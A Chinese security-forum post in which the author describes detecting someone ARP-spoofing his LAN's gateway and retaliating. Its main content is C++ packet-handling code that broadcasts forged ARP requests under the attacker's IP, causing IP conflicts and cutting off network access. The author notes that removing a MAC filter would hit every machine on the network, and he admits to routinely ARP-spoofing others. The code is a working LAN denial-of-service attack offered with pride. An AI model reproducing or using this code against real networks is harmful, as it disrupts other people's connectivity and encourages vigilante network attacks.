- 帖子
- 310
- 积分
- 810
- 威望
- 1302
- 金钱
- 1010
- 在线时间
- 2 小时
|
[讨论]今天彻底封杀了一ARP,好高兴
议题作者:husheng34
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
这几天心血来朝,想自己实现TCP协议栈,刚把ARP部分写好,
查资料时发现上不了网了,打开sinffer软件一看,
某人在用arp软件,软件行为如下:
1: 向你发送arp应答包,
作用是:
我的MAC地址是网关,把包都发给我吧
2:向所有地址发送请求包,得到所有机器的MAC地址.
3:向存活主机发送 DNS反向解析,企图得到域名.
//=======================================
我当下就郁闷了,天天ARP别人,现在被人arp,
正好我又刚完ARP协议的应答部分,处理如下
注: 这个类 前面还有一个过滤器,只让目的地址为全F的arp包通过
这里是接收包的入口,Buff为包缓冲地址
int PackCondArpRequest::oper(PVOID Buff) //接收的包缓冲地址
{
pARP_HdrFull index = (pARP_HdrFull)Buff; //pARP_HdrFull为arp的包结构
if( index->ARPHdr.DIP.mLong != _ip.mLong) //目的地址不是本机,则返回
return -1;
if( index->ARPHdr.op != 0x0100) //请求包
return -1;
printf("arp处理\n");
ARP_HdrFull arpbuff;
GetPackArp getbuff;
//构造自己的arp应答包
int leng = getbuff.GetArp(&arpbuff,index->ARPHdr.SMAC,index->ARPHdr.SIP,_mac,_ip,2); // 参数2: 目的MAC地址为包源地址,
参数3: 目的IP地址为包源地址,
参数4: 源MAC的地址为自己MAC地址,
参数5 源MAC的地址为自己MAC地址,
参数6,类型为2,是应答包
leng = _Device->Send(&arpbuff,leng);
return 0;
}
//============================================
把这个类改了改,如下,因为是临时写的,封装的很乱,
int PackCondArpRequest::oper(PVOID Buff)
{
pARP_HdrFull index = (pARP_HdrFull)Buff;
uIpAddr TIP; //建一个网关地址,
TIP.mStruct.byte1 = 192;
TIP.mStruct.byte2 = 168;
TIP.mStruct.byte3 = 1;
TIP.mStruct.byte4 = 1;
if( index->ARPHdr.DIP.mLong == TIP.mLong) //如果目的地址是网关,就返回吧,总要让人家上网啊!
return -1;
if( index->ARPHdr.SMAC.mLongShort.mLong == _mac.mLongShort.mLong &&
index->ARPHdr.SMAC.mLongShort.mShort == _mac.mLongShort.mShort ) //如果源MAC地址是那个家伙的,就执行封杀,如果去掉,则表示任何人
{
ARP_HdrFull arpbuff;
GetPackArp getbuff;
uMacAddr AllMAC; //建一个目的MAC地址,全F表示所有,广播拉
AllMAC.mLongShort.mLong = 0xFFFFFFFF;
AllMAC.mLongShort.mShort = 0xFFFF;
uMacAddr TMAC; // 建一个临时的MAC地址,做为源MAC地址
TMAC.mLongShort.mLong = 0x11111111;
TMAC.mLongShort.mShort = 0x1111;
//建一个包,这个包的意思是:
//以那个家伙的IP,MAC为1的地址,向所有的机器发送网关的 ARP请求包,
后果是,他会弹出IP冲突,网关会失去配置,无法上网,
int leng = getbuff.GetArp(&arpbuff,AllMAC,TIP,TMAC,index->ARPHdr.SIP);
leng = _Device->Send(&arpbuff,leng);
printf("arp处理\n");
}
return 0;
}
/====================================
通过以上代码,我就实现了,只他那个家伙向任何一台机器,发送arp请求,就会IP冲突,
当然,如果去掉MAC地址过滤,任何内网机器访问其它,除网关的电脑都会IP冲突,
不过如果愿望,也改成其它方式的封锁,
那个家伙在改了一个又一个IP以后,终于死心,关闭了他的arp软件,
我在家里得意的笑啊
帖子78 精华2 积分3543 阅读权限100 性别男 在线时间112 小时 注册时间2006-4-30 最后登录2008-7-13 查看详细资料引用 报告 回复 TOP 软件项目外包
寻寻
晶莹剔透§烈日灼然 |
|